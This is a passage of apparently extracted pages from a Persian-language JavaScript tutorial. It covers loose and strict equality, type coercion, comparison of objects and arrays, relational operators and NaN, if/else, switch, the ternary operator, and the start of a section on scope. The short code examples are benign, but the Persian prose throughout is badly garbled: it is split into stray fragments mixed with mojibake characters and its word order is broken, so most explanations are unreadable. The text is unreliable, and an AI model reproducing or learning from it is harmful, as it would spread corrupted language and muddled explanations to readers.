Ý
م
Ö
ا
ÌÉ
ه
.Ù±» ϳ»³ ï²
ش
²¾Â
کام
)Equality
( ¾²
´ب
²
ب
³
شو
µ
ق
³ .
==
=
!،=== ،== :³
ر
»³ ³
´ ¼جو
²
ب
»²
· ب
º
ر
²
´ ب
»²
ب
²ÌÂÈ
ار ع
Ô
، چ
µ
پ
±²¹º»¼
ر زبان جا
³
امسا¼´
Á
ن
³²
ک
À
خ
Ð
´ م
»²
¼ ب
Ï
شد
ϳ²
ب¶ کار ب
°
با
²
اظ
ɾ
ها´ م
²ÌÂÈ
ن ع
³²
ف· ک
É
´ م
»²
! ب
²ÌÂÈ
ک¶ ع
46
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/49.html ================================================
¾¶ شو
Ó²
گ
Ï
ا
ξ
ش
»
هد شد
»
و
à ϳ»³ ð
م¶ ¸وضی
»³»
ر
³ ¶
ک
)
inequality
( ´²
ب
»²
اب
Á
د با
±
ا
ÎÁ ¼ µº»
ϳ
¾فا
º» ³
مور
ç
و
Á ¼
ر
»
د
Ý
´ م
²
ب
»²
· ب
º
ر
²
´ ب
»²
=== ب
²ÌÂÈ
ر ¼ ع
»
د
Ý
´ م
²
ب
»²
· ب
º
ر
²
´ ب
»²
== ب
²ÌÂÈ
ع
ر
³
از باشد
ß
· م
ÉÈ
ض
ϳ»³ ç
و
Á Ʊ
د
θ
ان
¹
م
» ¶
ک
³
م·شو
ϳ
¾فا
º» ·Á
== زما
²ÌÂÈ
ز ع
» .³²
ر م·گی
»²
ق
ϳ»³ ç
و
Á
د
Á
س¶ م·شو
±
ا
Ý
ر´ ک¶ م
»
د
Ý
¼ م
³ ²
د ه
±
ک¶ با
µº» ·±
ها
µ
´ حال
»²
=== ب
²ÌÂÈ
حال· ک¶ ع
=== ²ÌÂÈ
¼ ع
)
loose equality
( ê
ی
Õ
´ ض
²
ب
»²
ب
î
باع
ً
حا
Íä
ص
» == ²ÌÂÈ
د. ع
É
ش¾¶ باش
»³ ·Á
سا
¹±
م·شو
)
strict equality
( µ
خ
º ´²
ب
»²
ب
î
باع
var
a =
“123”
;
var
b =
123
;
a == b;
// true
a === b;
// false
²
ب
»²
· ب
ÉÈ
ض
ϳ»³ ç
و
Á Ʊ
د
θ 뱲
ز ط
»
a == b
س¶
±
ا
Ý
ر آن م
³ ¶
ک
³
ر
»³ ³
¼جو
µ
¼ حال
³ Ñ
¿ مثا
±»
ر
³
ب¶
string
ز
» Ʊ
د
θ
ا
ßɱ»
ر
³ .
" باشد
123" == "123"
ا
± ¼ 123
==
123 ¶¹É±» ،
هد شد
»
و
Ã
true
با
ق·
²Ó Í
ص
» Ñ
¿ مثا
±»
ر
³ .³
هد بو
»
و
à 123
==
123
¶ ب¶ صورت
ß
¾ی
Á ·ÉÕ± ،³
م·شو
Ö
ا
ßÁ»
number
هد
»
و
Ã
سان
¹± µ
¼ حال
³ ²
´ ه
»²
س¶ ب
±
ا
Ý
¶ م
ß
¾ی
Á ¼ ³
شو
Ö
ا
ßÁ» ³
¼ مور
³ ¿±»
ز
» Ú± Ö»
د ک¶ کد
É
·ک
ÈÁ
Ï
و
ÞÁ ¶
د ب
±
د ¼ با
É
م·ک
»
ید
Å µ
ی
È
ه
»
شان
³
ر مور
³ ç
¿ موضو
±» ¶
د ک
Á
ر
»³ ³
´ ¼جو
²Ì±³ ³
ر
»
¼ل· مو
³
بو
شو
µ
ق
³ ϳ»³ ç
و
Á Ʊ
د
θ
ϳ»³ ç
و
Á Ʊ
د
θ
ان
¹
م
» ¶¹É±» ´»²
، ب
槯
false
¶ß
¾ی
Á
a === b
³
ر مور
³ ø
و
Ó Ñ
ر مثا
³ ¿
ی
ÉãÈ
ه
س¶
±
ا
Ý
´ م
»²
=== ب
²ÌÂÈ
ز ع
»
ا
Ôɸ
سان
±
و
Á¶
ام
Á²
ز ب
» ´
. بسیار
³
ر
»
د
Á ³
=== ¼جو
²ÌÂÈ
ر ع
³ ·ÉÈ
ض
¼ µº» ²¸·É
بی
Ä
ی
Å Æ
== قاب
²ÌÂÈ
ب¶ ع
µÎ
س
Á ²ÌÂÈ
¿ ع
±»
آنها
²æÁ
ز
» ¶
ک
»²
د، چ
ÉÉ
م·ک
ϳ
¾فا
º»
ز
» Û
ق
»¼
ر
³
¿ کار
±»
¼ با
µ
یس
Á ð
ی
Þ
ص
²¹
ز ¸ف
²
¿ ط
±» ·
. ¼ل
³
هد بو
»
و
à ²¾È
ر آن ک
³
ا
äà ³
ا
ß±»
ان
¹
م
»
د
Éȸ
== بسیار قدر
²ÌÂÈ
. ع
Ù±»Ï³²
وش· ک
Å ÙÐ
· چ
ÉÈ
ض
ϳ»³ ç
و
Á
ت
ͱ
د
θ
ز
» ·ÈÔ
¼ م
ú
ب×ر
Ä
بخ
.Ù±
بیاموز
Æ
کام
»
ز آن ر
» ð
ی
Þ
ص
ϳ
¾فا
º» Ï
و
ÞÁ ¶
ط· ک
²
، ب¶ ش
槯
¼ مفید
هید
³ À
خی
и
ید
Á»
ز آنها م· ¸و
» ϳ
¾فا
º»
ک¶ با
Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³ ϳ
ا
º ´
عد
»
ص¶ قو
ÍÃ
ب¶ طور
ید:
É
ک
ϳ
¾فا
º» == ²ÌÂÈ
ز ع
» Û
=== ¼ چ¶ موق
²ÌÂÈ
ز ع
» ·Á
ک¶ چ¶ زما
±
شو
ϳ
¾فا
º» === ²ÌÂÈ
ز ع
»
د
É
ش¾¶ باش
»³
boolean
ر
»
د
Ý
س¶ م
±
ا
Ý
ی¿ م
Ó²
ز ط
» ·¹± ²
گ
»
±
²ÌÂÈ
ز ع
»
باشد
ال
à ¶±»
آر
( ] [
ا
± ""
ا
± 0
ر
»
د
Ý
´ م
»
ر
»³ )¼³ ²
ا ه
±( ¶
س
±
ا
Ý
ی¿ م
Ó²
ز ط
» ·¹± ²
گ
»
شو
ϳ
¾فا
º» ===
آنها
ϳ»³ ç
و
Á ¼ ²±³
ا
Ý
م
µ
ز باب
» ²
گ
» ¶
ک
µº» ç
¿ موضو
±» ²ÌÁ
¼ بیا
µº» ϳ
ا
º
بسیار
ø
و
Ó
عد
»
قو
¶±»
س¶ آر
±
ا
Ý
´ م
»²
ید. ب
É
ک
ϳ
¾فا
º» === ²ÌÂÈ
ز ع
»
¿ صورت
±» ²
ی
õ
ر
³ ¼ == ²ÌÂÈ
ز ع
»
د
±
ر
»³
ان
É
ی
È
ط
»
47
¹
خ´ دو
µ
================================================ FILE: HTML/5.html ================================================
ی
±
رضا
²
: جعف
³
مول
================================================ FILE: HTML/50.html ================================================
µº» ¿¹È
· ک¶ م
Î
ی
ß
اها´ ع
äÃ
ز
»
ید ¸ا
É
ک
ϳ
¾فا
º»
length
ز
» ¶
ک
Ù
ی
É
¼ رش¾¶ ¸وصی¶ جد´ م·ک
ید.
Á
ا
È
مان ب
»
ر
³ ،
ش¾¶ باشید
»³
ر
»³
ور
ò
س¶ با آنها ب
±
ا
Ý
م
Ö
ا
ÌÉ
ر ه
³
¼³ Ï
ف· شد
É
، م
==
=
!·ÉÕ± )´¼
امسا
Á(
د
Á
· شد
Ó²Õ
م
Ä
¿ بخ
±» ´»
ب¾د
»
ر
³ ¶
´ ک
²Ì±³ ²ÌÂÈ
¼ ع
³
.µº» ø³
ی× صا
Á
آنها
³
ر مور
³ ø
و
Ó Ï
گف¾¶ شد
³
ر
»
ام· مو
ȸ ¼
د
ɾ
هس
³
و
à ²
اظ
ɾ
م
²ÌÂÈ
ع
ر
³ .
شد
îÞ
ب
)·Â
ص
»( ¶
¼لی
» ϳ»³ ´
ها
ç
و
Á ³
ر مور
³ óÝÓ
ا
ßɱ» ¶
´ ¸ا ب
»¶
س
±
ا
Ý
ها´ م
²ÌÂÈ
ع
³
ر مور
³
یاز ب¶
Á ¼ ²¸Ï
ید
ã
ی
Å ¶
س
±
ا
Ý
عد م
»
قو
ب
»
¶ها ¼ ¸و
±»
آر
Æ
شام
(
ها
object
Æ
مث
²Ì±³ ϳ»³ ç»
و
Á» ³
مور
)
reference
( ç
رجا
» á¼
ر
ë±²
ز ط
»
ها
ϳ»³ ç
و
Á ¿±» ´
از
ºÏ²
ی
Ãè ÆÞ
ک¶ م
»²
، چ
µº» ´²¾Ð
بی
µ
ق
³
سان
¹±
رجاعات
» ¶æÓ
حا
ÆÞ
م
í
ر
³
ا آ
±
ک¶ آ
³
· م·شو
º
ر
²
س¶ ب
±
ا
Ý
م
Ö
ا
ÌÉ
ر ه
³ ¼
ر´ م·باشد
»
د
ÔÌÁ
ç»
و
Á» ¿±» ´»²
ب
³
موجو
²±³
ا
Ý
ا با م
Ôɸ ϳ»³ ç
و
Á ¿±» ¶
س
±
ا
Ý
¶ م
¹É±» ²Ì±³ ÙÔ
¾¶ م
¹Á ¼ ²
ی
Ã
ا
± µº»
.³²
·گی
ÈÁ
صورت
ϳ»³
var
a = { key:
321
};
var
b = { key:
321
};
console.log(a === b);
// false
a = b;
console.log(a === b);
// true
د.
Á
م· شو
Ʊ
د
θ
string
ϳ»³ ç
و
Á ¶
ب
þ²
ف
Ð
ی
Å
¶ها ب¶ صورت
±»
س¶، آر
±
ا
Ý
م
Ö
ا
ÌÉ
ر ه
³ Ñ
´ مثا
»²
ب
»
´ ر
»¶¾
ر رش
»
د
Ý
م
Ú± Æ
ی
¹Ð¸ ¼ Ï
شد
Æà¾
م
Ù
ب¶ ه
) , (
کاما
²ÌÂÈ
¶ ع
Â
ی
º¼ ¶
¶ ب
±»
آر
²
اص
É
ع
Û
ق
»¼
ر
³
ز
» ¶
ام· ک
ÌÉ
سان ه
¹± ²±³
ا
Ý
¼ م
»
¾و
Þ
¶ با م
±»
¼ آر
³ ¶
ید ک
É
ک
²¹Ó µº» ¿¹È
م
³
¿ ¼جو
±»
د. با
É
ه
³·
م
¶ß
¾ی
Á ¼ µ
یس
Á ¶Á
و
Ìɱ» Û
ق
»¼
ر
³ ·
¼ل
³
هد بو
»
و
Ã
true
¶ß
¾ی
Á ،
د
Á
س¶ م·شو
±
ا
Ý
== م
²ÌÂÈ
ع
ë±²
ط
:槯
false
var
a = [
1
,
2
,
3
];
var
b = [
1
,
2
,
3
];
var
c =
“1,2,3”
;
a == c;
// true
b == c;
// true
a == b;
// false
ها´
ç
و
Á Ʊ
د
θ ¼ ¶
س
±
ا
Ý
ب¶ م
Ê
بو
²
م
îÞÎ
یات م
Ç×
ج
³
ر
»¼
ز حد
» Ä
بی
µ
یس
Á
ر
»²
¿ ک¾ا½ ق
±»
ر
³
¿±» ´»²
ب
³
موجو
ê¾
ها´ مخ
µ
¶ ¼ حال
ä
ب
»
¿ ر
±»
ر
³ ²¾Ð
ات بی
Þ
´ ¸وضی
»²
¼ل· ب
Ù±
· شو
ÉÈ
ض
ید.
É
¶ ک
Õ
ج
»²
م
4
µ
پ
±²¹º
ا
È
ک
» ·Èº
ر
µ±
ا
º ¶
ید ب
Á»
ها م·¸و
²ÌÂÈ
ع
4 http://www.ecma-international.org/ecma-262/5.1/
48
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/51.html ================================================
)
Inequality
( ¾²
´ب
²
اب
º
ی×
Á ´»¶ä
ب
»
س¶ها´ ر
±
ا
Ý
ن م
»
و
É
ک¶ با ع
槯
>=
¼
<=
،> ،< ²ÌÂÈ
ار ع
Ô
چ
Æ
´ شام
²
ب
»²
اب
Á ´
ها
²ÌÂÈ
ع
ش¾¶
»³ ¶
س
±
ا
Ý
م
µ
ی
Â
د ک¶ قاب
Á¼
´ ب¶ کار م·ر
²±³
ا
Ý
´ م
»²
ب
ً
وما
È
ها ع
²ÌÂÈ
¿ ع
±» .³
¾¶ م·شو
Ã
ا
É
ش
.槯 4
>
3
ر
»
د
Ý
م
³
¿ مور
±»
ر
³ ϳ
ا
º
بسیار
Ñ
د. مثا
É
باش
س¶
±
ا
Ý
ر م
³ .³²
ک
ϳ
¾فا
º» ×
ی
Á ´»¶¾
رش
²±³
ا
Ý
س¶ م
±
ا
Ý
´ م
»²
ن ب
»
´ها م·¸و
²
ب
»²
اب
Á
ز
» µ
پ
±²¹º»¼
ر جا
³
.)"
Hosein
" < "
Ali
"( ³
هد بو
»
و
Ã
ا
Î
لف
» ò¼²
ح
é
¸ی
²¸ ²
کار ب
í
ا
º» ´»¶¾
رش
²±³
ا
Ý
م
³²
س¶ صورت م·گی
±
ا
Ý
م
Ö
ا
ßÁ» Ö
ا
ÌÉ
ر ه
³ ·ÉÈ
ض
ç
و
Á Ʊ
د
θ Ù
ا ه
ßɱ»
ر
³ ،´²
ب
»²
ها´ ب
²ÌÂÈ
د ع
ÉÁ
ا
È
ه
ز
» ·
وع
Á ¶
ک
Ù±
د
±³ ´²
ب
»²
ب¶ ب
Ê
بو
²
م
îÞ
ر ب
³ .µº» ´²
ب
»²
ها´ ب
²ÌÂÈ
اب¶ با ع
Ð
بوط¶ م
²
عد م
»
¼ قو
»
· ر
ÉÈ
ض
ç
و
Á Ʊ
د
θ Ï
جاز
» ¶
د ک
Á
شد
ï²ä
م
)
strict equality
( µ
خ
º ´²
ب
»²
ن ب
»
و
É
ع
µÞ¸
ها
²ÌÂÈ
ع
یاز ب¶ صورت
Á
ر صورت
³ ç
و
Á Ʊ
د
θ ¼ ³
ر
»
د
Á ³
ی¿ چی×´ ¼جو
É
´ها چ
²
ب
»²
اب
Á ³
ر مور
³ ·
د ¼ل
Á³»³ ·ÈÁ
آن شد.
ÛÁ
ن ما
»
·¸و
ÈÁ ¼ ³²
کار صورت م·گی
³
و
Ã
var
a =
123
;
var
b =
“Hosein”
;
var
c =
“Ali”
;
a < b;
// false
b < c;
// true
Ñ
ر مثا
³(
د
É
رش¾¶ باش
ç
و
Á
ز
» Ï
س¶ شد
±
ا
Ý
ر م
»
د
Ý
¼ م
³ ¶
· ک
Á
زما
ES5
ر
³ Ï
شد
ê±²Õ¸
عد
»
قو
ëÎ
ط
²
گ
» ·
¼ل
³
م·شو
Ö
ا
ßÁ»
ا
Î
لف
» ò¼²
ح
í
ا
º» ²
س¶ ب
±
ا
Ý
¼ م
³
·شو
ÈÁ Ö
ا
ßÁ» ç
و
Á Ʊ
د
θ )
c > b
ø
و
Ó
´³
عد
ç
و
Á ¶
· ب
ÉÈ
ض
ç
و
Á Ʊ
د
θ
¿ صورت
±»
ر
³
اشد
ÎÁ ´»¶¾
ی¿ ب¶ صورت رش
Ó²
ز ط
» ·¹± Æ
ق
»
حد
س¶
±
ا
Ý
م
Ö
ا
ßÁ» Ö
ا
ÌÉ
ر ه
³ .µº» Ѽ» ¶
س
±
ا
Ý
ان م
È
ک¶ ه
³
م·شو
Ñ
ا
È
ع
» ¶
س
±
ا
Ý
م
ì
پ
º ¼ Ï
شد
Ö
ا
ßÁ»
³
ر
»³ ³
· ک¶ ¼جو
Î
ی
ß
¾¶ ع
¹Á ¼
د
É
م·ک
³
ا
ß±» NaN ¶ß
¾ی
Á ¼ ³
م·شو
Ö
ا
ßÁ» parseInt)'Hosein'( Ѽ»
هد بو
»
و
Ã
false
·Â¹
ش
²
´ ¼ ب¶ ه
³
عد
²
با ه
NaN ¶
س
±
ا
Ý
م
· شد ¼
ÉÈ
ض
ç
و
Á Ʊ
د
θ Ö
ا
ßÁ»
ز
» ÛÁ
ن ما
»
·¸و
ÈÁ
´ها
²
ب
»²
اب
Á
ر
³ ¶
ک
»²
، چ
³
م·شو
Ö
ا
ßÁ» ¶¾º»
و
Ã
ا
Á
م·شو
Ö
ا
ßÁ»
کار
³
و
Ã
یاز ب¶ صورت
Á
ر صورت
³ Ʊ
د
θ ¿±»
49
¹
خ´ دو
µ
================================================ FILE: HTML/52.html ================================================
var
a =
42
;
var
b =
“foo”
;
a < b;
// false
a > b;
// false
a == b;
// false
¿±»
د
É
ک
éÂ
ج
³
و
à ¶
ب
»
ا ر
È
ش
²æÁ ø
و
Ó Ñ
ر مثا
³ µº» ¿¹È
م
ÆÎ
¶ ق
Þ
صف
Ñ
د مثا
ÉÁ
ا
È
´ ک¶ ه
³
مور
> ¼ < ²ÌÂÈ
¼ ع
³ ³
ر مور
³ .µº»
false
س¶
±
ا
Ý
¶ م
ß
¾ی
Á == ¼ > ،< ²ÌÂÈ
¶ ع
º ²
´ ه
»
ز
» ¶
ک¶ ب
槯
· ک¶
±
ا
ßÁ
ز آ
» ¼
¾د
Ó»·
م
ø
¸فا
»
b
²
´ م¾÷ی
»²
ب
)´³
عد
ç
و
Á ¶
´ ب
»¶¾
رش
ç
و
Á
ز
»( ·ÉÈ
ض
ϳ»³ ç
و
Á Ʊ
د
θ
هد
»
و
Ã
NaN
با
²
ب
»²
· ب
ÉÈ
ض
ϳ»³ ç
و
Á Ʊ
د
θ ¶ß
¾ی
Á ¿±»²
اب
É
ب
µ
یس
Á ´²Î¾Õ
م
³
عد
²
¿ م¾÷ی
±»
ر
»
د
Ý
م
هد بو
»
خو
Á ´²Ì±³
ر
»
د
Ý
م
å
¶ مسا¼´ هی
Á ¼ ²¾
¶ ب×رگ
Á ،²¾¹
¶ کوچ
Á
NaN
ر
»
د
Ý
م
ES5
عد
»
ر قو
³ ¼ ³
بو
a == b
Ñ
ر مثا
³ .µº» ´²
ب
»²
اب
Á ²ÌÂÈ
¼ ع
³
ز
»
== م¾فا¼ت
²ÌÂÈ
¶ با ع
ä
ب
»
ر ر
³ ¶
ی
ñ
ق
ø
و
Ó Ñ
ر مثا
³
ما
»
¼³ ²
ر ه
³ ¶
ک
NaN =
123
ا
± "
foo
" == "123" :³
شو
Ö
ا
ßÁ» µº» ¿¹È
· م
ÉÈ
ض
ϳ»³ Ʊ
د
θ ç
و
Á ¼³
.槯
false
ر
»
د
Ý
با م
²
ب
»²
س¶ ب
±
ا
Ý
¶ م
ß
¾ی
Á ³
مور
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
د.
±
ا شو
É
ها آش
²
م¾÷ی
ê±²Õ¸ Ï
و
ÞÁ
با
±
µÃ
ا
É
ش
Ú± ²
ژگ·ها´ ه
±¼ ³
ر مور
³ ¼ ¶¾Ã
ا
É
ش
»
ر
µ
پ
±²¹º»¼
ر جا
³ ¶±
و
Á
ا
â ¼ ¶
¼لی
» ϳ»³ ç»
و
Á»
ید.
É
ک
»
ید
Å
±
¾¶ باشید.
Ã
آمو
»
ر
Û
ب
»
¶ها ¼ ¸و
±»
ها، آر
object
ز
» ϳ
¾فا
º» ¼ ê±²Õ¸ Ï
و
ÞÁ
±
»
ر
µ
خ
º ¼ ê
ی
Õ
´ ض
²
ب
»²
¼ ¸فا¼تها´ بی¿ ب
ϳ²
ک
ϳ
¾فا
º» ·¾º
ر
³ ¶
ب
»
ر
´»¶ä
ب
»
ها´ ر
²ÌÂÈ
ع
باشید.
ϳ²
ک
Ø
ر
³
±
³
م·شو
Ö
ا
ßÁ» Ú
¸وما¸ی
»
ک¶ ب¶ صورت
»
ر
µ
پ
±²¹º»¼
ر جا
³ Ï
شد
Ö
ا
ßÁ» ·ÉÈ
ت ض
ͱ
د
θ
د
ÉÉ
ک
³
ا
ß±» ¶
ام
Á²
´ ب
»²
ب
µº» ¿¹È
¸· ک¶ م
͹Ð
ز آنها ب¶ م
» ϳ
¾فا
º» Ö
ا
ÌÉ
ر ه
³ ¼
¾¶ باشید
Ã
ا
É
ش
باشید.
ϳ²
ک
»
ید
Å ·
آگاه
±
Ø
ر
³
ها
²ÌÂÈ
¼ ع
ϳ»³ ç»
و
Á»
¶ با
ä
ب
»
ر ر
³ »
ر
ES
ر
³ Ï
شد
ê±²Õ¸ ·¸
دما
Ý
ی¿ م
Á»
عد ¼ قو
»
· قو
ò
ب
د.
±²Î
ب
ϲÔ
ب
µ
پ
±²¹º»¼
با زبان جا
ð
ی
Þ
س· ص
±
و
Á
کد
µÔ
ر ج
³
ز آنها
» ¼ ϳ²
ک
50
ر و ا¸·اع داد¶
±
د
²
مق
================================================ FILE: HTML/53.html ================================================
م
±
بخش س
¸ود´·ا و حلقه ·ا
¹
، م
³
شرط
º±»
¼با
ا¶½ا¼ بخش:
·Ð
شر
¹µº
ا
»
آش¸ای· با ع
scope
و
½
محدو
±²³
مف
Ǻ½
ا
à ½
محدو
º½ Ì
اب
À
ر و
È
کر½ م¼غ
º
کا
ا
ö
ز آ
µ ½
س¼فا
µ ²
ا و نح
Ã
ه
Ñ
ل
Ô ½
بر
º
کا
Ǻ½
================================================ FILE: HTML/54.html ================================================
[
)
Conditionals( ´
شرط
»²¼
½با
Ù
ی
Èà¸
ا
± ·
ط
²
ت ش
»
ار
Î
ز ع
» ϳ
¾فا
º» ·
س
±
و
Á¶
ام
Á²
ب¶ ب
Ê
بو
²
م
îÞ
ر ب
³
¿ کارها
±²¸ù±»
ز ر
» ·¹±
³²
کارب
ʲ
ش
Ú±
ن
³
ر بو
»²
ق
²
ر صورت ب
³ ´
ن کار
³»³ Ö
ا
ßÁ» ´»²
ب
if
¾ور
º³ Ñ
´ مثا
»²
. ب
µº
´ ها
²
گی
ر
»³
var
classmatesCount =
100
;
var
myFriends =
5
;
if
(myFriends < classmatesCount) {
console
.log(
“I have a few friends”
);
}
هد
»
و
Ã
false
ا
±
true
ر
»
د
Ý
اب· آن م
±
رز
» ¶ß
¾ی
Á ¶
ک
µº» ×¾Á»²Å ÆÃ»³
ر
³
ارت
Î
ع
Ú± Æ
شام
if
¾ور
º³
ر
³ ¼ ³
س¶ م· شو
±
ا
Ý
·ها م
ºÍ
ک
Ù
¾ان با ه
º¼³ ³»
د
Õ¸
ید
É
ان طور ک¶ م·بی
È
ه
ø
و
Ó Ñ
ر مثا
³ .³
بو
³
ارت مور
Î
ع
)
باشد
²¾È
· ک
ºÍ
ک
Ù
ا´ ه
ñ
ع
» ³»
د
Õ¸
ز
»
¾ان
º¼³ ³»
د
Õ¸(
باشد
true
¶ß
¾ی
Á ¶
صور¸· ک
هد شد.
»
و
à ö
چا
console.log)..(
¾ور
º³ óº
¸و
²æÁ
هد شد ک¶
»
و
à »²
ج
» ·Á
¼ زما
³
م· شو
ϳ
¾فا
º»
else
¾ور
º³
ز
» µ
یس
Á
ر
»²
ق
²
ب
ʲ
´ حال¾· ک¶ ش
»²
ب
اشد:
ÎÁ
ر
»²
ق
²
ب
ʲ
ش
var
classmatesCount =
100
;
var
myFriends =
5
;
if
(myFriends < classmatesCount) {
console
.log(
“I have few friends”
);
} else {
console
.log(
“I have too many friends”
);
}
'I have
ارت
Î
هد شد ¼ ع
»
و
à »²
ج
»
else
ب¶
Ê
بو
²
¾ور م
º³ ¿±»²
اب
É
¼ ب
µ
یس
Á
ر
»²
ق
²
ب
ʲ
ش
ø
و
Ó Ñ
ر مثا
³
م· شو
ϳ»³ ı
ا
ÈÁ ·
¼ج
²Ã
ر
³
too many friends'
ر
³ ¼
باشد
boolean
ϳ»³ ç
و
Á
ز
» ´
ر
»
د
Ý
د م
±
¶ با
Ð
ی
È
¾× ه
Á»²Å ÆÃ»³
ارت
Î
ان طور ک¶ گف¾¶ شد ع
È
ه
·ÂÎ
ق
Ä
ر بخ
³ .µÓ²±
ذ
Å
هد
»
و
Ã
صورت
µ
پ
±²¹º»¼
جا
óº
· ¸و
ÉÈ
ض
ϳ»³ ç
و
Á Ʊ
د
θ
¿ صورت
±» ²
ی
õ
ید.
É
¶ ک
Õ
ج
»²
ید ب¶ آن م
Á»
یاز م· ¸و
Á
ر صورت
³ ،µº» Ï
شد
ϳ»³ ·Â
کام
ð
¸وضی
Ï
¿ بار
±»
ر
³
¶ÂÈ
ز آن ج
» .
د
Á
م·شو
ϳ
¾فا
º»
ها
²
گی
Ù
ی
Èà¸
ر
³ ¶
د ک
Á
ر
»³ ³
ی× ¼جو
Á ´²Ì±³
ت
»
¾ور
º³
if
²
ب
ϼÍ
ع
52
²º
قه
»
و ح
²º ¶
، م½¼ود
³
¾ات شرط
²
¿ب
================================================ FILE: HTML/55.html ================================================
:µº» ·
ل
»
م¾و
if.. else
¾ور
º³ ¿±
د
É
´ چ
»²
· ب
ɱ×̱
ک¶ جا
³²
ک
Ï
شار
»
switch
¾ور
º³ ¶
ن ب
»
م· ¸و
switch
(expression) {
case
n:
// code block
break
;
case
m:
// code block
break
;
default
:
// default code block
}
ز
» Ö»
کد
²
¼ج· با ه
²Ã
ر
»
د
Ý
م
ì
پ
º ¼ ³
اب· م· شو
±
رز
»
expression
ارت
Î
ع
»
ب¾د
» ø
و
Ó
¾ور
º³
ر
³
ب¶
Ê
بو
²
س¶، کد م
±
ا
Ý
¶ م
ß
¾ی
Á
ن
³
بو
true
ر صورت
³ ¼ ³
س¶ م· شو
±
ا
Ý
م
case
¾ور
º³ Æ
اب
Ý
ت م
»
ار
Î
ع
case
´»²
ج
»
ز
» ´²
وگی
Â
¼ ج
switch
ز
» Ò¼²Ã ´»²
ب
break
¾ور
º³ ¿È
ر ض
³ .
هد شد
»
و
à »²
ج
»
case
²
ه
با
swtich
ر
»
د
Ý
م
²
گ
» ¶
ک
Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³
ور
æÉ
¿ م
±» ´»²
ب
Ù
ه
default
¾ور
º³ .µº» ²Ì±³ ´
ها
د.
Á
شو
»²
ج
» þ²Ó Ä
ی
Å
ن
»
و
É
ب¶ ع
Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³
ت
»
¾ور
º³ µ
ش
»
د
Á µÝ
اب
ä
ها م
case
ز
» Ö»
کد
å
هی
طی
É
ن
À
ا¾ در
Èݲ
ش
²ÌÂÈ
ا ع
± ·
ط
²
ش
²ÌÂÈ
ن ع
»
و
É
ع
µÞ¸ ¶
ک
³
ر
»³ ³
¼جو
µ
پ
±²¹º»¼
ر جا
³ ·
ط
²
ت ش
»
ار
Î
ز ع
» ´²Ì±³ ç
و
Á
if.. else
´»²
ب
Ï
شد
²à¾
مخ
ƹ
ط· ش
²
ارت ش
Î
¿ ع
±» .³
¾¶ م· شو
Ã
ا
É
ش
د
Á
و
ÂÈ
¶ ع
º( ·±
¶ ¸ا
º
ر
»³ »
ر
³²¹ÂÈ
ان ع
È
ه
ً
ا
Ý
قی
³ ¼ µº»
var
a =
1
;
var
b = (a >
2
) ?
“hello”
:
“world”
;
// if (a > 2) {
//
b = “hello”;
// } else {
//
b = “world”;
// }
´ ک¶
²¸
ا
Á»
و
à ¼ ²à¾
ط· ب¶ صورت مخ
²
ش
²ÌÂÈ
ع
ë±²
ز ط
»
د
Á»
م· ¸و
ø
و
Ó Ñ
ر مثا
³
if.. else
ارت
Î
ع
53
¹·
خ´ س
µ
================================================ FILE: HTML/56.html ================================================
¼ل· ب¶
µº» Ï
شد
Ö
ا
ßÁ» ·
ط
²
ش
²ÌÂÈ
ع
ë±²
ز ط
» ½
¾سا
Á» Ñ
¿ مثا
±»
ر
³ .³
¿ شو
±×̱
ید جا
É
م·بی
¿±²¸ù±»
ز ر
» ·¹± ¶
د ک
É
چ
²
، ه
µº» ½
¾سا
Á»
ر
³ ·
ط
²
ش
²ÌÂÈ
ع
³²
ا کارب
Ôɸ ¶
ک
µ
یس
Á ¿±» ·ÉÕ
م
هد بو
»
و
Ã
ها´ آن
³²
کارب
[
)Scope
( µ
ود
¹º
م
Ñ
و
àÞ
م
ç
و
Á Ú±
د
±²Ã ´
اضا
ݸ ¼
د
±»Ï³²
¶ ک
Õ
ج
»²
· م
±»
ذ
õ ³»
مو
Ï
ا
Ì
¼ش
²Ó Ú± ¶
ید ب
É
ک
þ²Ó
»
ر
²æÁ ³
مور
ìÉ
د ج
Á»
·¸و
ÈÁ Ï
د
É
¼ش
²Ó .µ
یس
Á ³
موجو
Ï
ا
Ì
¼ش
²Ó
ر
³ ¶
ید ک
É
م·ک
»
ر
Ë
ا
Ã
د
±
جد
ر
»³ ·º²¾º³
د
ɾ
هس
³
موجو
Ï
ا
Ì
¼ش
²Ó
ار
ÎÁ»
ر
³ ¶
· ک
º
ا
É
ج
» ¶
ا ب
Ôɸ ¼» ¶
ک
»²
¼شد، چ
²
ا بف
È
ب¶ ش
ید.
É
¶ ک
Õ
ج
»²
´ م
²Ì±³ Ï
ا
Ì
¼ش
²Ó ¶
ب
²æÁ ³
ات مور
à
خ
Ð
با م
ìÉ
د ج
±²Ã ´»²
د ب
±
ا با
È
¿ ش
±»²
اب
É
ب
µ
پ
±²¹º»¼
ر زبان جا
³ .³
م·شو
ϳ
¾فا
º» )
scope
( ϳ¼
د
Þ
¶ م
ÈÂ
ز ک
» Ö
و
Ô
¿ مف
±» ´»²
س· ب
±
و
Á¶
ام
Á²
ر ب
³
ی¿
Á»
ها ¼ قو
²
ز م¾÷ی
» ´»¶
وع
Èß
ب¶ م
ϳ¼
د
Þ
م
ً
ا
º
ا
º» .³
ر
»³ »
ر
³
و
à ¶
ب
Ë
و
à
مخ
ϳ¼
د
Þ
م
Û
¸اب
²
ه
ϳ¼
د
Þ
آن م
ÆÃ»³ ´
ا کدها
Ôɸ ،À
خ
Ð
م
ϳ¼
د
Þ
م
Ú±
ر
³ ¼ ³
ها گف¾¶ م·شو
²
¿ م¾÷ی
±» ¶
· ب
º²¾º³
د.
Á
ر
»³ »
ر
ϳ¼
د
Þ
ها´ م
²
· ب¶ م¾÷ی
º²¾º³ µ
ی
Â
قاب
Ö
ا
Á
با
²
¼ م¾÷ی
³ ê±²Õ¸
ان
¹
م
» ²Ì±³
ارت
Î
باشد. ب¶ ع
³²Ó ¶
ب
²àÞÉ
د م
±
با
ϳ¼
د
Þ
م
Ú±
ر
³ ²
م¾÷ی
Ö
ا
Á
ها´
ϳ¼
د
Þ
ر م
³
سان
¹± Ö
ا
Á
ها´ با
²
م¾÷ی
ê±²Õ¸
ان
¹
م
»
ما
» ³
